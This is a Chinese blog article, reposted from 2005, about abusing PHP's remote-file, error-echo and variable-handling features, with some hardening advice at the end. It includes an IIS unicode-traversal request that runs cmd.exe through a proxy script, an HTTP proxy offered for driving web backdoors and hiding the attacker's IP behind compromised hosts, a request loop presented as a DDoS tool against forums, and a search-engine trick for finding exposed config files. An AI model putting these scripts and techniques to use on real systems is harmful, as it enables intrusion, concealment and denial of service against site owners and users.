1、远程文件
PHP 是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:
<?php
$fp = @fopen($url, "r") or die ("cannot open $url");
while ($line = @fgets($fp, 1024)) {
$contents .= $line;
}
echo $contents; //显示文件内容
fclose($fp); //关闭文件
?>
以上是一段利用 fopen 函数打开文件的代码,由于 fopen 函数支持远程文件,使得它应用起来相当有趣,将以上代码保存为 proxy.php,然后后提交:
/proxy.php?url=http://www.xxx.com
fopen 函数可以从任何其 Web 或 FTP 站点读取文件,事实上 PHP 的大多数文件处理函数对远程文件都是透明的,比如请求:
/proxy.php?url=http://target/script/..%c1%1c../winnt/system32/cmd.exe?/c+dir
这样实际上是利用了 target 主机上的 unicode 漏洞,执行了 dir 命令。但并不是所有的服务器都支持远程文件的功能,如果你使用的是商业的服务器,很可能会发现远程文件使用不了(如 51 的虚拟主机),这是因为在商业主机上限制远程文件的功能,往往能够更好的保护服务器的正常运行。你可以通过 phpinfo() 查看服务器是否支持这种功能。当然,在 phpinfo() 被禁用的情况下,也可以使用 get_cfg_var():
<?php
echo "是否允许使用远程文件(allow_url_Fopen)";
get_cfg_var("allow_url_Fopen") == "1" ? echo("<font color=green><b>是</b></font>") : echo("<font color=red><b>否</b></font>");
?>
当 allow_url_fopen 一项参数为 on 时,即支持远程文件的功能。充分发挥远程文件的特性,我们可以实现许多特殊的功能:如果你是用过 PHP Flame 的最新版本,你会发现它在集文件夹复制、文本搜索等功能的基础上,又增加了 Web 间文件传输的功能,依靠这种功能,你可以随意将其他服务器上的文件传送到你的 Web 目录下。而且,在两台服务器间传送文件有着飞快的传输速度。我们看看实现这个功能的代码:
<?php
$fp = fopen($_GET['filename'], 'rb'); //打开文件
$data = $tmp = '';
while (true) {
$tmp = fgets($fp, 1024);
if ( 0 === strlen($tmp) ) {
break; //跳出while循环
}
$data .= $tmp;
}
fclose($fp); //关闭文件
$file = preg_replace("/^.+//", "", $filename); //转换文件名
//write
$fp = fopen("$file", 'wb'); //生成文件
fwrite($fp, $data); //写入数据
fclose($fp);
?>
在调用 fopen 和 fwrite 函数时加入 "b" 标记,可以使这两个函数安全运用于二进制文件而不损坏数据。在以上脚本提交:
/down.php?filename=http://www.xxx.com/xxx.zip
这时便会在 down.php 的所处目录下生成相应的 xxx.zip 文件。如果再配合遍历目录的功能,你将可以实现多个文件夹服务器间的传输。但是,远程文件应该还有更大的发挥空间,比如写 SQL Injection 攻击的自动脚本,甚至是 HTTP 的代理服务:
<?php
$url = getenv("QUERY_STRING");
if (!ereg("^http", $url)) //检查输入的URL格式
{
echo "例子:<br />http://www.163.com/<br />";
echo "http://www.xxxx.com/list.php?id=600<br />";
echo "当URL为目录时需要在目录后加入"/"";
exit;
}
if ($url)
$url=str_replace("\\", "/", $url);
$f = @fopen($url, "r"); //打开文件
$a = "";
if ($f)
{
while(!feof($f))
$a .= @fread($f, 8000); //读取文件
fclose($f);
}
$rooturl = preg_replace("/(.+/)(.*)/i","\\1",$url); //转换根目录
$a = preg_replace("/(src[[:space:]]*=['"])([^h].*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(src[[:space:]]*=)([^h'"].*?)/is","\\1$rooturl\\2",$a); //转换图片地址
$a = preg_replace("/(action[[:space:]]*=['"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(action[[:space:]]*=)([^h'"].*?)/is","\\1$php_self?$rooturl\\2",$a); //转换POST地址
$a = preg_replace("/(<a.+?href[[:space:]]*=['"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);
$a = preg_replace("/(<a.+?href[[:space:]]*=[^'"])([^h].*?)/is","\\1$php_self?$rooturl\\2",$a);//转换链接地址
$a = preg_replace("/(link.+?href[[:space:]]*=[^'"])(.*?)/is","\\1$rooturl\\2",$a);
$a = preg_replace("/(link.+?href[[:space:]]*=['"])(.*?)/is","\\1$rooturl\\2",$a); //转换样式表地址
echo $a;
exit;
?>
在正则表达式的帮助下,以上代码能够自行地将返回页面中包含的链接和图片进行转换,并把页面内的链接自动提交到当前 PHP 脚本的 $url 中。例如提交:
/proxy.php?http://www.xfocus.net
脚本将会返回 http://www.xfocus.net 的内容。
当然,这运用的绝对不仅仅是框架的技巧。运用这个脚本你可以远程操作安置在其他服务器的 Web 后门,或者将肉鸡做成一个简单的 HTTP 代理,从而更好的隐藏自己的IP。如果使用 PHP 编写 CGI 扫描工具,你需要延长 PHP 的有效运行时间。以下是两种有效的方法,当然你也可以将 PHP 代码编译成 GUI 界面,从而解决这个问题。设置 PHP 的有效运行时间为三分钟:
<?php ini_set("max_execution_time",60*3); ?>
<?php set_time_limit(60*3); ?>
我们再看看这种功能在 DDOS 攻击中的应用:
<?php
set_time_limit(60*3);
$url = "http://www.xxx.com/bbs/userlist.php?userid=";
for ($i = 1131; $i <= 1180; $i ++)
{
$urls = $url . $i; //将$url与$i链接在一起
$f = @fopen($urls, "r"); //请求$urls
$a = @fread($f, 10); //取出部分内容
fclose($f); //关闭$urls
}
?>
以上用 for 循环不断地请求 userlist.php?userid=$i 的内容($i 的值每次都是不同的),但是打开后仅仅取出几个字节便关闭这个脚本了。PHP 运行在虚拟主机上,10秒钟便可以打开几十个 URL,当同时运行多个进程时,便有可能实现 DDOS 攻击,让对方的论坛迅速崩溃。
2、错误回显
PHP 在默认的情况下打开错误回显,这样可以便于程序员在调试脚本时发现代码的错误,但是这也往往使 Web 暴露了 PHP 的代码和服务器的一些数据。PHP 对代码的规范性要求比较严格,以下是一种比较常见的错误回显:
warning:file("data/1120'.htm)-no such file or directory in /usr/home/xxxxx.com/show.php on line 300
这种错误回显,至少告诉了我们三个信息:服务器的操作系统是 Linux;服务器使用文本数据库;show.php 的第 300 行代码为 "file ("./data/1120/".$data.".htm")"。
这种错误回显,已经足以成为一台服务器致命的漏洞。从另一个利用的角度来看,我们发现一般的 PHP 错误回都包含了 "warning" 字符,但是这有什么用呢?我们得先认识一下 PHP 的库文件。
PHP 的 include() 和 require() 主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。
最初,人们开发和发布 PHP 程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个 ".inc" 的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被 PHP 解释器正确解析为 PHP 代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,这是因为当把 PHP 作为 Apache 的模块使用时,PHP 解释器是根据文件的扩展名来决定是否解析为 PHP 代码的。扩展名是站点管理员指定的,一般是 ".php", ".php3" 和 ".php4"。如果重要的配置数据被包含在没有合适的扩展名的 PHP 文件中,那么远程攻击者将容易得到这些信息。
按照以往的程序员的习惯,往往会把一些重要的文件设定 "config.inc", "coon.inc" 等形式,如果我们在搜索引擎中搜索 "warning+config.inc",那么你会发现许多网站都暴露了 ".inc" 文件的代码,甚至包括许多商业和政府网站。
要关闭 PHP 的错误回显通常有两个方法,第一个是直接修改 php.ini 中的设置,这我们以前已经介绍过了;第二种方法是在 PHP 脚本中加入抑制错误回显的代码,你可以在调用的函数前函数加入 "@" 字符,或者在 PHP 的代码顶端加入 "error_reporting(0);" 的代码,要了解更多的内容请参考PHP手册中的 "error_reporting" 一节。
3、变量回显
Web 的安全问题主要集中变量的处理上,对变量的处理不当,会导致多种安全问题。先看一下的例子:
<select name="face">
<option value="1.gif">1.gif</option>
<option value="2.gif">2.gif</option>
......
$face 的值按照程序员的意图应仅设定在下拉菜单中供用户选择,但是事实上我们可以通过 POST 的方法直接指定 $face 的值骗过程序:
&data=……" target="_blank">http://target/bbs/edit.php?action=reface&u...t>&data=......
程序接到 $face 的值后未经过任何处理,便将它显示出来了:
<img scr ="<?php echo $face; ?>" >
从而导致了跨站脚本攻击等安全问题,用这种方法,你甚至可以向 PHP 文本数据库中写入 WebShell。作为程序员,你可以使用正则表达式检查用户的输入内容。如:
<?php
if (ereg (">",$face)) {
echo "头像有误";
exit;
}
?>
这仅是一种简单的检查方法,不要依赖于 PHP 自动为特殊字符增加 "" 的功能,这样往往会让你得到意想不到的恶果。
PHP 就一门 CGI 语言而言,它的功能已不仅仅局限于编写网站,它的一些安全问题也不可避免的存在,如:PHP 的Safe Mode 并不能真正限制可执行脚本的运行;PHP 也可以编写 GUI 界面的程序;由于 "include" 等函数的存在使得 PHP 后门根本不可能被查杀;PHP 同样能够使用多线程处理命令。以不同的角度看 PHP,你才能更充分发挥它功能。
本文原载旧版博客 2005 年 8 月 27 日,用 lucky 的话说,这又是一次人肉转移。